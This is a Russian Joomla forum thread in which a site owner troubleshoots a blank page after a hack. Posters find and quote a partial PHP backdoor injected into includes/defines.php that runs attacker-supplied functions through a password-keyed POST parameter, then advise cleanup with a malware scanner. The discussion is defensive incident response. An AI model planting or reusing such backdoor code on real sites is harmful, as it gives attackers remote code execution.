0 Пользователей и 1 Гость просматривают эту тему.
  • 40 Ответов
  • 2048 Просмотров
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
Добрый день,

Взломали.
Залили шелл.
Но файлы вируса были найдены и удалены.
Индексная страница была почищена от мусора.
Сделан архив всех файлов.
После, всё работало несколько дней.

На текущий момент, при заходе на главную страницу домена, белый экран.

Заливка файлов из "ремонтного" архива результата не даёт.

в логах доступа:
[27/Jan/2016:10:23:45 +0300] "GET / HTTP/1.0" 200 0 "-" "Mozilla/5.0 ….

при заходе же в админку, получаем 500 и белый экран.
[27/Jan/2016:10:23:57 +0300] "GET /administrator/ HTTP/1.0" 500 0 "-" "Mozilla/5.0…

error лог апачевский  при этом чист!
сами ошибки пишутся, если намеренно их сделать.
так же, ошибки отображаются если их намеренно сделать в индексном файле.
так как включены все
ini_set('display_errors',1);
error_reporting(E_ALL);
и т.д.

Подобная картина наблюдалась при попытке переименовать админску директорию, но на данный момент все названия директорий оригинальные.
А также был случай у кого-то, что подобная ситуация возникала при закрытии коннекта к твиттеру, коннект делал какой-то модуль в Joomla и создавал проблему, подвешивал Joomla. Как это проверить, не понятно.

Какие варианты еще рассмотреть?
Может быть права на запись файла какие-то изменены?
Есть файл notice.php – он пуст.

вирус был вроде php.shell-38

« Последнее редактирование: 27.01.2016, 10:57:14 от Dzen »
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
В Joomla конфиге есть такой параметр    public $debug = '0'; замените его на 1 и в дебаге смотрите суть проблемы
*

SeBun

  • Живу я здесь
  • 3959
  • 254 / 4
  • @SeBun48
Так же неплохо заглянуть в папку logs...
Оказываю услуги по Joomla | Миграция на Joomla 3.x | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
В Joomla конфиге есть такой параметр    public $debug = '0'; замените его на 1 и в дебаге смотрите суть проблемы

спасибо, включил, но куда дебагится всё это дело? в /logs/ вроде нету
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
спасибо, включил, но куда дебагится всё это дело? в /logs/ вроде нету

в футере вашего сайта смотрите консоль выскачит
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
в футере вашего сайта смотрите консоль выскачит

так белый экран, ничего ж не открывается.

Так же неплохо заглянуть в папку logs...

error.php - последняя запись в 2015 году.

в joomla_update.php
Обновление до версии 3.4.8 из github.com/joomla/joomla-cms/releases/download/3.4.8/
это после первой починки.
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
Попробуйте такой набор в php:
Цитировать
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

или в htaccess:
Цитировать
php_value display_errors 1
php_value display_startup_errors 1
php_value error_reporting E_ALL
*

Arkadiy

  • Гуру
  • 5315
  • 462 / 2
  • Крепитесь, други.
Не надо так пробовать, вывод ошибок прекрасно включается в настройках Joomla.
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
Не надо так пробовать, вывод ошибок прекрасно включается в настройках Joomla.

ну до настроек может дело не доходить при исполнении скрипта


Попробуйте такой набор в php:
или в htaccess:

тоже самое
экран белый
error лог апачевский чист
в доступ логе код 200

*

Arkadiy

  • Гуру
  • 5315
  • 462 / 2
  • Крепитесь, други.
ну до настроек может дело не доходить при исполнении скрипта
Практически в 100% случаев доходит. Делайте сначала самые простые вещи, успеете в коде поковыряться.
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
Практически в 100% случаев доходит. Делайте сначала самые простые вещи, успеете в коде поковыряться.

сделали
public $debug = '1';
не помогло

еще чего можно?

было обновление до версии 3.4.8 , оно не вносит ли какие-то изменения в таблицы в базе?
потому как рассматриваю вариант, что после обновления, могли подменить новый php файл, на старый, который запросы к базе делает к другим полям. И как результат, конфликт и тишина. Нет? Если да, то как посмотреть.
Варианты включения показа ошибок ничего не дают.

в конфиге еще стоит
   public $error_reporting = 'default';
*

Arkadiy

  • Гуру
  • 5315
  • 462 / 2
  • Крепитесь, други.
Я говорил про настройки Joomla. http://joxi.ru/p27W0b8t0xW7W2 Отладка и сообщения об ошибках - разные вещи.
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
если его намеренно сделать с ошибкой:
public $error_reporting = E_ALL; а не 'E_ALL' , т.е. написать без кавычек.

то получим на главной странице:

Fatal error: Cannot redeclare file_put_contents() in /home/..../www/plugins/system/xcalendar/xcalendar.php on line 205

но это вроде бы норма.
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
Я говорил про настройки Joomla. http://joxi.ru/p27W0b8t0xW7W2 Отладка и сообщения об ошибках - разные вещи.

ну чтоб в настройки-то войти надо в админку попасть:)
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
админка выдаёт 500! в логе аппача
*

Arkadiy

  • Гуру
  • 5315
  • 462 / 2
  • Крепитесь, други.
Тогда поставьте $error_reporting = 'development'; в конфиге.
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
Тогда поставьте $error_reporting = 'development'; в конфиге.

про вывод ошибок, нашёл.

почему-то в includes/defines.php

стоял еррор_репортинг = 0 !
который выключал принудительные установки вывода ошибок в индексном файле.

код defines.php:
Код
...
error_reporting(0);
$_passssword = '.....................';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');


if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');


и теперь получаем:

Fatal error: Cannot redeclare file_put_contents() in /home/..../..../www/plugins/system/xcalendar/xcalendar.php on line 205

закрыты права на запись файла? проблема в этом плагине видимо.
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
Знакомый бегдор!, вы сначало сайт от вирусов почистите, а потом подправляйте систему, битые файлы!

P.S: Какой то касяченый взломщик, так систему палить....
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
Знакомый бегдор!, вы сначало сайт от вирусов почистите, а потом подправляйте систему, битые файлы!

P.S: Какой то касяченый взломщик, так систему палить....

знакомый бекдор это про xcalendar? или про те изменения которые в defines.php ?
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
в общем сделал пока так и всё работает.

закомментил функцию в xcalendar.php:

Код

if (!function_exists("file_put_contents")) {
function file_put_contents($filename, $text) {
$f = fopen($filename, "w");
if (!$f) return false;

if (!fwrite($f, $text)) return false;
fclose($f);

return true;
}


}



*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
знакомый бекдор это про xcalendar? или про те изменения которые в defines.php ?
Это про те изменения, что в defines.php, от сюда следует что сначала пролечите сайт, а потом разберайтесь, что не учли и в чем может быть проблема, также не ясно что там у вас в xcalendar.php  on line 205, по ошибки, что то обработать вроде не может...
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
не ясно что там у вас в xcalendar.php  on line 205, по ошибки, что то обработать вроде не может...

функцию привёл выше, не может записать в файл вроде как

на defines.php поставил права 444
были 644
теперь в него не может никто писать вроде бы
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
функцию привёл выше, не может записать в файл вроде как

на defines.php поставил права 444
были 644
теперь в него не может никто писать вроде бы
А зачем в него писать, когда в нем уже все что нужно записано?, со 100% уверенностью могу сказать что это не один такой файл, про сканируйте айболитом в режиме параноика, а там сами убедитесь!
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
Цитировать
А зачем в него писать, когда в нем уже все что нужно записано?

а чтобы второй раз туда ничего не записали
и все функции внутри него я закомментил, вообще все что были.

там 4 сайта (4 папки) по одному доступу ftp
причём 2 сайта взломали
остальные нет или нет видимости
найти очень сложно каким способом был лом
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
Чуствую вам сложно что то доказывать, вообщем если есть необходимость, в этом разделе полно информации, разбирайтесь...
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
да нет, всё верно, просто почему файл не закрыть.
а проверить все файлы на вирусы надо, просто пока не ясно как лучше это сделать.

а так совершенно правы, т.к. в других файлах я уже обнаруживал странный мусор и комментил.
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
да нет, всё верно, просто почему файл не закрыть.
а проверить все файлы на вирусы надо, просто пока не ясно как лучше это сделать.

а так совершенно правы, т.к. в других файлах я уже обнаруживал странный мусор и комментил.

Как правило взломщики оставляют несколько бегдоров, а то и кучу и пару полноценных шеллов, что приводит к полноценному доступу к вашим сайтам, к соседям тоже, если на одном аккаунте, а там ничего не мешает крутить вертеть вашими сайтами, вплоть до того что обратно менять права с 0444 на 06444, на счет проверки, выше я вам писал про скрипт ai-bolit, вот им и сканьте все сайты...
*

Dzen

  • Осваиваюсь на форуме
  • 33
  • 0 / 0
спасибо.

а как имеено взломали, кроме как анализа апачевских логов никаких не узреть?
*

winstrool

  • Давно я тут
  • 814
  • 51 / 2
  • Свободен для работы
Можите домены в ПМ кинуть с версиями движка?

P.S: Нужно следить за багтреками и понимать природу уязвимостей, тогда кроме апачевских логов станет все ясно...
*

SeBun

  • Живу я здесь
  • 3959
  • 254 / 4
  • @SeBun48
Объясню на пальцах. У вас был получен доступ к файловой системе сервера, произведена запись кода вида
Код: php
error_reporting(0);
$_passssword = '.....................';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @.......

Этот код позволяет получить удаленный доступ к вашему сайту и выполнить произвольный код. Сейчас уже не имеют значение права, которые вы выставили, не имеет значение и то, что вы что то где то меняете. Если сами не понимаете, что делать, наймите специалиста. Вас взломали, и искать нужно не только следствие этого взлома, но и его причины. Пройдитесь сканером, как советовали, но опять же, что бы работать со сканером, нужно иметь хотя бы базовые знание PHP.
Оказываю услуги по Joomla | Миграция на Joomla 3.x | Сопровождение | IT-аутсорсинг | Недорогие домены и хостинг
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Мониторинг файлов CMS и сайта - предлагаю решение

Автор GRIG

Ответов: 18
Просмотров: 3661
Последний ответ 28.08.2020, 22:00:30
от cntrl
Вредоносный код в url после якоря #

Автор dm-krv

Ответов: 7
Просмотров: 649
Последний ответ 10.07.2018, 14:12:29
от dm-krv
Открытие несуществующих страниц после лечения от вирусов

Автор DimentR

Ответов: 9
Просмотров: 777
Последний ответ 07.02.2018, 18:04:23
от surho
БД после взлома

Автор cntrl

Ответов: 11
Просмотров: 654
Последний ответ 09.01.2018, 17:06:17
от Aleks.Denezh
Не выводятся материалы ZOO. После вируса

Автор nuclearacid

Ответов: 1
Просмотров: 589
Последний ответ 29.05.2017, 21:48:36
от robert